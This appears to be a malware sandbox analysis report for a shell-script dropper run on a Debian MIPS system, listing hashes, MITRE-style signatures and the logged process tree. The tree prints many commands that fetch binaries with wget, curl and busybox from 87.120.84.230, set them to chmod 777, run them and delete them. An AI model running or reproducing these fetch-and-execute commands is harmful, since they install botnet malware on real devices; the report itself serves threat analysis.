db293e8cf4110f8766c4a315a6bbb552736074defa9bd3b39e23240a621cd5c2

Analysis

max time kernel
65s
max time network
66s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
01/11/2024, 05:56

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
db293e8cf4110f8766c4a315a6bbb552736074defa9bd3b39e23240a621cd5c2.sh
Size 10KB
Sample241101-gm83psxflc
SHA256 db293e8cf4110f8766c4a315a6bbb552736074defa9bd3b39e23240a621cd5c2
MD5 d52cbbae2b3097c9053e0e8f13487af7
SHA1 93cb981635b3cdef2a8f4cae09658028f838e490
SHA512 4e07d644a9ccf7ec10bc7455abbc83a0883856af07e257963aaa368e234d3d7bbf7d528a365ccb5beac1d19d9504d59174e464eb2a6b7ddc0331a46fb65ba779
SSDEEP 192:YBfdFk2WdKWI4g8VwYjtGehkwk7pGehkw0fa2WdKWKsg8VwYU:YBfdFk2WdKWttGehkwk7pGehkw0fa2W8
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
896	chmod
968	chmod
740	chmod
815	chmod
837	chmod
914	chmod
926	chmod
932	chmod
950	chmod
803	chmod
878	chmod
884	chmod
974	chmod
733	chmod
866	chmod
908	chmod
872	chmod
920	chmod
746	chmod
772	chmod
809	chmod
860	chmod
956	chmod
962	chmod
938	chmod
890	chmod
944	chmod
902	chmod

Executes dropped EXE 28 IoCs

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/YVnlIWOvp7NZ3sq9pURpZQrJX8Bh75xr2X	curl
File opened for modification	/tmp/qRc9XF3fBYEwWbDytsOU5wkJ4Utsa7dg5m	curl
File opened for modification	/tmp/Psw6XGDjuNR4AQZjq6viT55ATQgDQXCPJ2	curl
File opened for modification	/tmp/iqyoDtzmSCVfCzaxremnY51Ru6Y01sqcqz	curl
File opened for modification	/tmp/O3syGODeuVuUmfRARoqx7fQxHIsd3vigLp	curl
File opened for modification	/tmp/Ok67j4X78Se3rofRDSLuxjkRN8MfEnCNOz	curl
File opened for modification	/tmp/YVnlIWOvp7NZ3sq9pURpZQrJX8Bh75xr2X	curl
File opened for modification	/tmp/200cUyejdGjWDM9heC9D1Qq26iolWznBRb	curl
File opened for modification	/tmp/x5IRyDO0ja8W3a47xLggyNGLRlejUrtGpK	curl
File opened for modification	/tmp/O3syGODeuVuUmfRARoqx7fQxHIsd3vigLp	curl
File opened for modification	/tmp/3fTOWrti2FtfIteTPQjVWLyGjTWh0xYLFd	curl
File opened for modification	/tmp/8DAAydpSAIycpCBrauDN21eaP6XA4GmyGX	curl
File opened for modification	/tmp/3fTOWrti2FtfIteTPQjVWLyGjTWh0xYLFd	curl
File opened for modification	/tmp/xq3pfowTRCtzRiF9v2xZO1xo0yFEphVgBc	curl
File opened for modification	/tmp/qRc9XF3fBYEwWbDytsOU5wkJ4Utsa7dg5m	curl
File opened for modification	/tmp/200cUyejdGjWDM9heC9D1Qq26iolWznBRb	curl
File opened for modification	/tmp/alLzH81U3bjmtzkXTaResmVfAqdRlVeUGA	curl
File opened for modification	/tmp/iqyoDtzmSCVfCzaxremnY51Ru6Y01sqcqz	curl
File opened for modification	/tmp/hDtNkOQD7zYQ0NzujZvYIZoPVqx3z737G1	curl
File opened for modification	/tmp/ZcYbsw1pHQvEmJ1yLx4lrIt88ouIsSb33i	curl
File opened for modification	/tmp/8DAAydpSAIycpCBrauDN21eaP6XA4GmyGX	curl
File opened for modification	/tmp/x5IRyDO0ja8W3a47xLggyNGLRlejUrtGpK	curl
File opened for modification	/tmp/Psw6XGDjuNR4AQZjq6viT55ATQgDQXCPJ2	curl
File opened for modification	/tmp/xq3pfowTRCtzRiF9v2xZO1xo0yFEphVgBc	curl
File opened for modification	/tmp/Ok67j4X78Se3rofRDSLuxjkRN8MfEnCNOz	curl
File opened for modification	/tmp/hDtNkOQD7zYQ0NzujZvYIZoPVqx3z737G1	curl
File opened for modification	/tmp/ZcYbsw1pHQvEmJ1yLx4lrIt88ouIsSb33i	curl
File opened for modification	/tmp/alLzH81U3bjmtzkXTaResmVfAqdRlVeUGA	curl

/tmp/db293e8cf4110f8766c4a315a6bbb552736074defa9bd3b39e23240a621cd5c2.sh
/tmp/db293e8cf4110f8766c4a315a6bbb552736074defa9bd3b39e23240a621cd5c2.sh
1⤵
PID:703
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:706
- /usr/bin/wget
  wget http://87.120.84.230/bins/xq3pfowTRCtzRiF9v2xZO1xo0yFEphVgBc
  2⤵
  PID:708
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/xq3pfowTRCtzRiF9v2xZO1xo0yFEphVgBc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:725
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/xq3pfowTRCtzRiF9v2xZO1xo0yFEphVgBc
  2⤵
  PID:732
- /bin/chmod
  chmod 777 xq3pfowTRCtzRiF9v2xZO1xo0yFEphVgBc
  2⤵
  - File and Directory Permissions Modification
  PID:733
- /tmp/xq3pfowTRCtzRiF9v2xZO1xo0yFEphVgBc
  ./xq3pfowTRCtzRiF9v2xZO1xo0yFEphVgBc
  2⤵
  - Executes dropped EXE
  PID:734
- /bin/rm
  rm xq3pfowTRCtzRiF9v2xZO1xo0yFEphVgBc
  2⤵
  PID:736
- /usr/bin/wget
  wget http://87.120.84.230/bins/ZcYbsw1pHQvEmJ1yLx4lrIt88ouIsSb33i
  2⤵
  PID:737
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ZcYbsw1pHQvEmJ1yLx4lrIt88ouIsSb33i
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:738
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ZcYbsw1pHQvEmJ1yLx4lrIt88ouIsSb33i
  2⤵
  PID:739
- /bin/chmod
  chmod 777 ZcYbsw1pHQvEmJ1yLx4lrIt88ouIsSb33i
  2⤵
  - File and Directory Permissions Modification
  PID:740
- /tmp/ZcYbsw1pHQvEmJ1yLx4lrIt88ouIsSb33i
  ./ZcYbsw1pHQvEmJ1yLx4lrIt88ouIsSb33i
  2⤵
  - Executes dropped EXE
  PID:741
- /bin/rm
  rm ZcYbsw1pHQvEmJ1yLx4lrIt88ouIsSb33i
  2⤵
  PID:742
- /usr/bin/wget
  wget http://87.120.84.230/bins/YVnlIWOvp7NZ3sq9pURpZQrJX8Bh75xr2X
  2⤵
  PID:743
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/YVnlIWOvp7NZ3sq9pURpZQrJX8Bh75xr2X
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:744
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/YVnlIWOvp7NZ3sq9pURpZQrJX8Bh75xr2X
  2⤵
  PID:745
- /bin/chmod
  chmod 777 YVnlIWOvp7NZ3sq9pURpZQrJX8Bh75xr2X
  2⤵
  - File and Directory Permissions Modification
  PID:746
- /tmp/YVnlIWOvp7NZ3sq9pURpZQrJX8Bh75xr2X
  ./YVnlIWOvp7NZ3sq9pURpZQrJX8Bh75xr2X
  2⤵
  - Executes dropped EXE
  PID:747
- /bin/rm
  rm YVnlIWOvp7NZ3sq9pURpZQrJX8Bh75xr2X
  2⤵
  PID:748
- /usr/bin/wget
  wget http://87.120.84.230/bins/x5IRyDO0ja8W3a47xLggyNGLRlejUrtGpK
  2⤵
  PID:749
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/x5IRyDO0ja8W3a47xLggyNGLRlejUrtGpK
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:756
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/x5IRyDO0ja8W3a47xLggyNGLRlejUrtGpK
  2⤵
  PID:766
- /bin/chmod
  chmod 777 x5IRyDO0ja8W3a47xLggyNGLRlejUrtGpK
  2⤵
  - File and Directory Permissions Modification
  PID:772
- /tmp/x5IRyDO0ja8W3a47xLggyNGLRlejUrtGpK
  ./x5IRyDO0ja8W3a47xLggyNGLRlejUrtGpK
  2⤵
  - Executes dropped EXE
  PID:773
- /bin/rm
  rm x5IRyDO0ja8W3a47xLggyNGLRlejUrtGpK
  2⤵
  PID:776
- /usr/bin/wget
  wget http://87.120.84.230/bins/qRc9XF3fBYEwWbDytsOU5wkJ4Utsa7dg5m
  2⤵
  PID:777
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/qRc9XF3fBYEwWbDytsOU5wkJ4Utsa7dg5m
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:786
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/qRc9XF3fBYEwWbDytsOU5wkJ4Utsa7dg5m
  2⤵
  PID:800
- /bin/chmod
  chmod 777 qRc9XF3fBYEwWbDytsOU5wkJ4Utsa7dg5m
  2⤵
  - File and Directory Permissions Modification
  PID:803
- /tmp/qRc9XF3fBYEwWbDytsOU5wkJ4Utsa7dg5m
  ./qRc9XF3fBYEwWbDytsOU5wkJ4Utsa7dg5m
  2⤵
  - Executes dropped EXE
  PID:804
- /bin/rm
  rm qRc9XF3fBYEwWbDytsOU5wkJ4Utsa7dg5m
  2⤵
  PID:805
- /usr/bin/wget
  wget http://87.120.84.230/bins/200cUyejdGjWDM9heC9D1Qq26iolWznBRb
  2⤵
  PID:806
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/200cUyejdGjWDM9heC9D1Qq26iolWznBRb
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:807
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/200cUyejdGjWDM9heC9D1Qq26iolWznBRb
  2⤵
  PID:808
- /bin/chmod
  chmod 777 200cUyejdGjWDM9heC9D1Qq26iolWznBRb
  2⤵
  - File and Directory Permissions Modification
  PID:809
- /tmp/200cUyejdGjWDM9heC9D1Qq26iolWznBRb
  ./200cUyejdGjWDM9heC9D1Qq26iolWznBRb
  2⤵
  - Executes dropped EXE
  PID:810
- /bin/rm
  rm 200cUyejdGjWDM9heC9D1Qq26iolWznBRb
  2⤵
  PID:811
- /usr/bin/wget
  wget http://87.120.84.230/bins/Psw6XGDjuNR4AQZjq6viT55ATQgDQXCPJ2
  2⤵
  PID:812
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Psw6XGDjuNR4AQZjq6viT55ATQgDQXCPJ2
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:813
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Psw6XGDjuNR4AQZjq6viT55ATQgDQXCPJ2
  2⤵
  PID:814
- /bin/chmod
  chmod 777 Psw6XGDjuNR4AQZjq6viT55ATQgDQXCPJ2
  2⤵
  - File and Directory Permissions Modification
  PID:815
- /tmp/Psw6XGDjuNR4AQZjq6viT55ATQgDQXCPJ2
  ./Psw6XGDjuNR4AQZjq6viT55ATQgDQXCPJ2
  2⤵
  - Executes dropped EXE
  PID:816
- /bin/rm
  rm Psw6XGDjuNR4AQZjq6viT55ATQgDQXCPJ2
  2⤵
  PID:817
- /usr/bin/wget
  wget http://87.120.84.230/bins/8DAAydpSAIycpCBrauDN21eaP6XA4GmyGX
  2⤵
  PID:818
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/8DAAydpSAIycpCBrauDN21eaP6XA4GmyGX
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:824
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/8DAAydpSAIycpCBrauDN21eaP6XA4GmyGX
  2⤵
  PID:832
- /bin/chmod
  chmod 777 8DAAydpSAIycpCBrauDN21eaP6XA4GmyGX
  2⤵
  - File and Directory Permissions Modification
  PID:837
- /tmp/8DAAydpSAIycpCBrauDN21eaP6XA4GmyGX
  ./8DAAydpSAIycpCBrauDN21eaP6XA4GmyGX
  2⤵
  - Executes dropped EXE
  PID:838
- /bin/rm
  rm 8DAAydpSAIycpCBrauDN21eaP6XA4GmyGX
  2⤵
  PID:841
- /usr/bin/wget
  wget http://87.120.84.230/bins/alLzH81U3bjmtzkXTaResmVfAqdRlVeUGA
  2⤵
  PID:842
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/alLzH81U3bjmtzkXTaResmVfAqdRlVeUGA
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:850
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/alLzH81U3bjmtzkXTaResmVfAqdRlVeUGA
  2⤵
  PID:856
- /bin/chmod
  chmod 777 alLzH81U3bjmtzkXTaResmVfAqdRlVeUGA
  2⤵
  - File and Directory Permissions Modification
  PID:860
- /tmp/alLzH81U3bjmtzkXTaResmVfAqdRlVeUGA
  ./alLzH81U3bjmtzkXTaResmVfAqdRlVeUGA
  2⤵
  - Executes dropped EXE
  PID:861
- /bin/rm
  rm alLzH81U3bjmtzkXTaResmVfAqdRlVeUGA
  2⤵
  PID:862
- /usr/bin/wget
  wget http://87.120.84.230/bins/iqyoDtzmSCVfCzaxremnY51Ru6Y01sqcqz
  2⤵
  PID:863
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/iqyoDtzmSCVfCzaxremnY51Ru6Y01sqcqz
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:864
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/iqyoDtzmSCVfCzaxremnY51Ru6Y01sqcqz
  2⤵
  PID:865
- /bin/chmod
  chmod 777 iqyoDtzmSCVfCzaxremnY51Ru6Y01sqcqz
  2⤵
  - File and Directory Permissions Modification
  PID:866
- /tmp/iqyoDtzmSCVfCzaxremnY51Ru6Y01sqcqz
  ./iqyoDtzmSCVfCzaxremnY51Ru6Y01sqcqz
  2⤵
  - Executes dropped EXE
  PID:867
- /bin/rm
  rm iqyoDtzmSCVfCzaxremnY51Ru6Y01sqcqz
  2⤵
  PID:868
- /usr/bin/wget
  wget http://87.120.84.230/bins/O3syGODeuVuUmfRARoqx7fQxHIsd3vigLp
  2⤵
  PID:869
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/O3syGODeuVuUmfRARoqx7fQxHIsd3vigLp
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:870
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/O3syGODeuVuUmfRARoqx7fQxHIsd3vigLp
  2⤵
  PID:871
- /bin/chmod
  chmod 777 O3syGODeuVuUmfRARoqx7fQxHIsd3vigLp
  2⤵
  - File and Directory Permissions Modification
  PID:872
- /tmp/O3syGODeuVuUmfRARoqx7fQxHIsd3vigLp
  ./O3syGODeuVuUmfRARoqx7fQxHIsd3vigLp
  2⤵
  - Executes dropped EXE
  PID:873
- /bin/rm
  rm O3syGODeuVuUmfRARoqx7fQxHIsd3vigLp
  2⤵
  PID:874
- /usr/bin/wget
  wget http://87.120.84.230/bins/Ok67j4X78Se3rofRDSLuxjkRN8MfEnCNOz
  2⤵
  PID:875
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Ok67j4X78Se3rofRDSLuxjkRN8MfEnCNOz
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:876
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Ok67j4X78Se3rofRDSLuxjkRN8MfEnCNOz
  2⤵
  PID:877
- /bin/chmod
  chmod 777 Ok67j4X78Se3rofRDSLuxjkRN8MfEnCNOz
  2⤵
  - File and Directory Permissions Modification
  PID:878
- /tmp/Ok67j4X78Se3rofRDSLuxjkRN8MfEnCNOz
  ./Ok67j4X78Se3rofRDSLuxjkRN8MfEnCNOz
  2⤵
  - Executes dropped EXE
  PID:879
- /bin/rm
  rm Ok67j4X78Se3rofRDSLuxjkRN8MfEnCNOz
  2⤵
  PID:880
- /usr/bin/wget
  wget http://87.120.84.230/bins/hDtNkOQD7zYQ0NzujZvYIZoPVqx3z737G1
  2⤵
  PID:881
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/hDtNkOQD7zYQ0NzujZvYIZoPVqx3z737G1
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:882
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/hDtNkOQD7zYQ0NzujZvYIZoPVqx3z737G1
  2⤵
  PID:883
- /bin/chmod
  chmod 777 hDtNkOQD7zYQ0NzujZvYIZoPVqx3z737G1
  2⤵
  - File and Directory Permissions Modification
  PID:884
- /tmp/hDtNkOQD7zYQ0NzujZvYIZoPVqx3z737G1
  ./hDtNkOQD7zYQ0NzujZvYIZoPVqx3z737G1
  2⤵
  - Executes dropped EXE
  PID:885
- /bin/rm
  rm hDtNkOQD7zYQ0NzujZvYIZoPVqx3z737G1
  2⤵
  PID:886
- /usr/bin/wget
  wget http://87.120.84.230/bins/3fTOWrti2FtfIteTPQjVWLyGjTWh0xYLFd
  2⤵
  PID:887
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/3fTOWrti2FtfIteTPQjVWLyGjTWh0xYLFd
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:888
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/3fTOWrti2FtfIteTPQjVWLyGjTWh0xYLFd
  2⤵
  PID:889
- /bin/chmod
  chmod 777 3fTOWrti2FtfIteTPQjVWLyGjTWh0xYLFd
  2⤵
  - File and Directory Permissions Modification
  PID:890
- /tmp/3fTOWrti2FtfIteTPQjVWLyGjTWh0xYLFd
  ./3fTOWrti2FtfIteTPQjVWLyGjTWh0xYLFd
  2⤵
  - Executes dropped EXE
  PID:891
- /bin/rm
  rm 3fTOWrti2FtfIteTPQjVWLyGjTWh0xYLFd
  2⤵
  PID:892
- /usr/bin/wget
  wget http://87.120.84.230/bins/O3syGODeuVuUmfRARoqx7fQxHIsd3vigLp
  2⤵
  PID:893
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/O3syGODeuVuUmfRARoqx7fQxHIsd3vigLp
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:894
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/O3syGODeuVuUmfRARoqx7fQxHIsd3vigLp
  2⤵
  PID:895
- /bin/chmod
  chmod 777 O3syGODeuVuUmfRARoqx7fQxHIsd3vigLp
  2⤵
  - File and Directory Permissions Modification
  PID:896
- /tmp/O3syGODeuVuUmfRARoqx7fQxHIsd3vigLp
  ./O3syGODeuVuUmfRARoqx7fQxHIsd3vigLp
  2⤵
  - Executes dropped EXE
  PID:897
- /bin/rm
  rm O3syGODeuVuUmfRARoqx7fQxHIsd3vigLp
  2⤵
  PID:898
- /usr/bin/wget
  wget http://87.120.84.230/bins/Ok67j4X78Se3rofRDSLuxjkRN8MfEnCNOz
  2⤵
  PID:899
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Ok67j4X78Se3rofRDSLuxjkRN8MfEnCNOz
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:900
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Ok67j4X78Se3rofRDSLuxjkRN8MfEnCNOz
  2⤵
  PID:901
- /bin/chmod
  chmod 777 Ok67j4X78Se3rofRDSLuxjkRN8MfEnCNOz
  2⤵
  - File and Directory Permissions Modification
  PID:902
- /tmp/Ok67j4X78Se3rofRDSLuxjkRN8MfEnCNOz
  ./Ok67j4X78Se3rofRDSLuxjkRN8MfEnCNOz
  2⤵
  - Executes dropped EXE
  PID:903
- /bin/rm
  rm Ok67j4X78Se3rofRDSLuxjkRN8MfEnCNOz
  2⤵
  PID:904
- /usr/bin/wget
  wget http://87.120.84.230/bins/hDtNkOQD7zYQ0NzujZvYIZoPVqx3z737G1
  2⤵
  PID:905
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/hDtNkOQD7zYQ0NzujZvYIZoPVqx3z737G1
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:906
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/hDtNkOQD7zYQ0NzujZvYIZoPVqx3z737G1
  2⤵
  PID:907
- /bin/chmod
  chmod 777 hDtNkOQD7zYQ0NzujZvYIZoPVqx3z737G1
  2⤵
  - File and Directory Permissions Modification
  PID:908
- /tmp/hDtNkOQD7zYQ0NzujZvYIZoPVqx3z737G1
  ./hDtNkOQD7zYQ0NzujZvYIZoPVqx3z737G1
  2⤵
  - Executes dropped EXE
  PID:909
- /bin/rm
  rm hDtNkOQD7zYQ0NzujZvYIZoPVqx3z737G1
  2⤵
  PID:910
- /usr/bin/wget
  wget http://87.120.84.230/bins/3fTOWrti2FtfIteTPQjVWLyGjTWh0xYLFd
  2⤵
  PID:911
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/3fTOWrti2FtfIteTPQjVWLyGjTWh0xYLFd
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:912
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/3fTOWrti2FtfIteTPQjVWLyGjTWh0xYLFd
  2⤵
  PID:913
- /bin/chmod
  chmod 777 3fTOWrti2FtfIteTPQjVWLyGjTWh0xYLFd
  2⤵
  - File and Directory Permissions Modification
  PID:914
- /tmp/3fTOWrti2FtfIteTPQjVWLyGjTWh0xYLFd
  ./3fTOWrti2FtfIteTPQjVWLyGjTWh0xYLFd
  2⤵
  - Executes dropped EXE
  PID:915
- /bin/rm
  rm 3fTOWrti2FtfIteTPQjVWLyGjTWh0xYLFd
  2⤵
  PID:916
- /usr/bin/wget
  wget http://87.120.84.230/bins/xq3pfowTRCtzRiF9v2xZO1xo0yFEphVgBc
  2⤵
  PID:917
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/xq3pfowTRCtzRiF9v2xZO1xo0yFEphVgBc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:918
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/xq3pfowTRCtzRiF9v2xZO1xo0yFEphVgBc
  2⤵
  PID:919
- /bin/chmod
  chmod 777 xq3pfowTRCtzRiF9v2xZO1xo0yFEphVgBc
  2⤵
  - File and Directory Permissions Modification
  PID:920
- /tmp/xq3pfowTRCtzRiF9v2xZO1xo0yFEphVgBc
  ./xq3pfowTRCtzRiF9v2xZO1xo0yFEphVgBc
  2⤵
  - Executes dropped EXE
  PID:921
- /bin/rm
  rm xq3pfowTRCtzRiF9v2xZO1xo0yFEphVgBc
  2⤵
  PID:922
- /usr/bin/wget
  wget http://87.120.84.230/bins/ZcYbsw1pHQvEmJ1yLx4lrIt88ouIsSb33i
  2⤵
  PID:923
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/ZcYbsw1pHQvEmJ1yLx4lrIt88ouIsSb33i
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:924
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/ZcYbsw1pHQvEmJ1yLx4lrIt88ouIsSb33i
  2⤵
  PID:925
- /bin/chmod
  chmod 777 ZcYbsw1pHQvEmJ1yLx4lrIt88ouIsSb33i
  2⤵
  - File and Directory Permissions Modification
  PID:926
- /tmp/ZcYbsw1pHQvEmJ1yLx4lrIt88ouIsSb33i
  ./ZcYbsw1pHQvEmJ1yLx4lrIt88ouIsSb33i
  2⤵
  - Executes dropped EXE
  PID:927
- /bin/rm
  rm ZcYbsw1pHQvEmJ1yLx4lrIt88ouIsSb33i
  2⤵
  PID:928
- /usr/bin/wget
  wget http://87.120.84.230/bins/YVnlIWOvp7NZ3sq9pURpZQrJX8Bh75xr2X
  2⤵
  PID:929
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/YVnlIWOvp7NZ3sq9pURpZQrJX8Bh75xr2X
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:930
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/YVnlIWOvp7NZ3sq9pURpZQrJX8Bh75xr2X
  2⤵
  PID:931
- /bin/chmod
  chmod 777 YVnlIWOvp7NZ3sq9pURpZQrJX8Bh75xr2X
  2⤵
  - File and Directory Permissions Modification
  PID:932
- /tmp/YVnlIWOvp7NZ3sq9pURpZQrJX8Bh75xr2X
  ./YVnlIWOvp7NZ3sq9pURpZQrJX8Bh75xr2X
  2⤵
  - Executes dropped EXE
  PID:933
- /bin/rm
  rm YVnlIWOvp7NZ3sq9pURpZQrJX8Bh75xr2X
  2⤵
  PID:934
- /usr/bin/wget
  wget http://87.120.84.230/bins/x5IRyDO0ja8W3a47xLggyNGLRlejUrtGpK
  2⤵
  PID:935
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/x5IRyDO0ja8W3a47xLggyNGLRlejUrtGpK
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:936
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/x5IRyDO0ja8W3a47xLggyNGLRlejUrtGpK
  2⤵
  PID:937
- /bin/chmod
  chmod 777 x5IRyDO0ja8W3a47xLggyNGLRlejUrtGpK
  2⤵
  - File and Directory Permissions Modification
  PID:938
- /tmp/x5IRyDO0ja8W3a47xLggyNGLRlejUrtGpK
  ./x5IRyDO0ja8W3a47xLggyNGLRlejUrtGpK
  2⤵
  - Executes dropped EXE
  PID:939
- /bin/rm
  rm x5IRyDO0ja8W3a47xLggyNGLRlejUrtGpK
  2⤵
  PID:940
- /usr/bin/wget
  wget http://87.120.84.230/bins/qRc9XF3fBYEwWbDytsOU5wkJ4Utsa7dg5m
  2⤵
  PID:941
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/qRc9XF3fBYEwWbDytsOU5wkJ4Utsa7dg5m
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:942
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/qRc9XF3fBYEwWbDytsOU5wkJ4Utsa7dg5m
  2⤵
  PID:943
- /bin/chmod
  chmod 777 qRc9XF3fBYEwWbDytsOU5wkJ4Utsa7dg5m
  2⤵
  - File and Directory Permissions Modification
  PID:944
- /tmp/qRc9XF3fBYEwWbDytsOU5wkJ4Utsa7dg5m
  ./qRc9XF3fBYEwWbDytsOU5wkJ4Utsa7dg5m
  2⤵
  - Executes dropped EXE
  PID:945
- /bin/rm
  rm qRc9XF3fBYEwWbDytsOU5wkJ4Utsa7dg5m
  2⤵
  PID:946
- /usr/bin/wget
  wget http://87.120.84.230/bins/200cUyejdGjWDM9heC9D1Qq26iolWznBRb
  2⤵
  PID:947
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/200cUyejdGjWDM9heC9D1Qq26iolWznBRb
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:948
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/200cUyejdGjWDM9heC9D1Qq26iolWznBRb
  2⤵
  PID:949
- /bin/chmod
  chmod 777 200cUyejdGjWDM9heC9D1Qq26iolWznBRb
  2⤵
  - File and Directory Permissions Modification
  PID:950
- /tmp/200cUyejdGjWDM9heC9D1Qq26iolWznBRb
  ./200cUyejdGjWDM9heC9D1Qq26iolWznBRb
  2⤵
  - Executes dropped EXE
  PID:951
- /bin/rm
  rm 200cUyejdGjWDM9heC9D1Qq26iolWznBRb
  2⤵
  PID:952
- /usr/bin/wget
  wget http://87.120.84.230/bins/Psw6XGDjuNR4AQZjq6viT55ATQgDQXCPJ2
  2⤵
  PID:953
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/Psw6XGDjuNR4AQZjq6viT55ATQgDQXCPJ2
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:954
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/Psw6XGDjuNR4AQZjq6viT55ATQgDQXCPJ2
  2⤵
  PID:955
- /bin/chmod
  chmod 777 Psw6XGDjuNR4AQZjq6viT55ATQgDQXCPJ2
  2⤵
